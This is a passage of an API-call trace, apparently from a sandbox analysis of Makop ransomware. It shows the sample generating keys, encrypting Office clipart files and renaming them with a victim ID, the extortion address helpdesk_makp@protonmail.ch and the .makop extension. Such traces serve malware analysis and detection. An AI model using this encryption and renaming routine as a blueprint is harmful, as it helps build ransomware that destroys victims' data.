WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1950, lpOverlapped=0x0) returned 1 [0141.556] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.556] SetEndOfFile (hFile=0xf0) returned 1 [0141.562] GetProcessHeap () returned 0x48a0000 [0141.562] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.562] GetProcessHeap () returned 0x48a0000 [0141.562] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.562] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.572] CloseHandle (hObject=0xf0) returned 1 [0141.572] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1 [0141.572] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF") returned 63 [0141.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.573] GetProcessHeap () returned 0x48a0000 [0141.573] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.573] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.573] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.573] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.578] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.578] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.578] GetProcessHeap () returned 0x48a0000 [0141.578] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.578] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.578] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.578] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.578] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.578] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.579] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.579] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.579] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.579] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.579] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c2c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c2c, lpOverlapped=0x0) returned 1 [0141.582] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c30, dwBufLen=0x1c30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c30) returned 1 [0141.582] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.627] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c30, lpOverlapped=0x0) returned 1 [0141.627] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.628] SetEndOfFile (hFile=0xf0) returned 1 [0141.634] GetProcessHeap () returned 0x48a0000 [0141.634] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.634] GetProcessHeap () returned 0x48a0000 [0141.634] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.634] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.636] CloseHandle (hObject=0xf0) returned 1 [0141.636] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1 [0141.636] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 63 [0141.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.639] GetProcessHeap () returned 0x48a0000 [0141.639] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.640] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.640] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.640] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.644] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.644] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.644] GetProcessHeap () returned 0x48a0000 [0141.644] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.644] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.644] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.645] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.646] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.646] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.646] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.646] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.646] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.646] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.647] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xff8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xff8, lpOverlapped=0x0) returned 1 [0141.647] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1000, dwBufLen=0x1000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1000) returned 1 [0141.647] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.647] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1000, lpOverlapped=0x0) returned 1 [0141.647] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.647] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.647] SetEndOfFile (hFile=0xf0) returned 1 [0141.653] GetProcessHeap () returned 0x48a0000 [0141.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.654] GetProcessHeap () returned 0x48a0000 [0141.654] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.654] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.655] CloseHandle (hObject=0xf0) returned 1 [0141.656] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1 [0141.656] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 63 [0141.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.657] GetProcessHeap () returned 0x48a0000 [0141.657] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.657] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.657] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.657] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.661] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.661] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.661] GetProcessHeap () returned 0x48a0000 [0141.662] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.662] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.662] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.663] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.663] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.663] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1434, lpOverlapped=0x0) returned 1 [0141.664] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1440, dwBufLen=0x1440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1440) returned 1 [0141.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1440, lpOverlapped=0x0) returned 1 [0141.665] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.665] SetEndOfFile (hFile=0xf0) returned 1 [0141.671] GetProcessHeap () returned 0x48a0000 [0141.671] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.671] GetProcessHeap () returned 0x48a0000 [0141.671] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.672] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.674] CloseHandle (hObject=0xf0) returned 1 [0141.674] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1 [0141.674] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 63 [0141.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.675] GetProcessHeap () returned 0x48a0000 [0141.675] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.675] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.675] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.675] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.680] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.680] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.680] GetProcessHeap () returned 0x48a0000 [0141.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.680] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.680] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.681] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.681] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.681] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.681] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.681] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.681] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.682] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.682] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 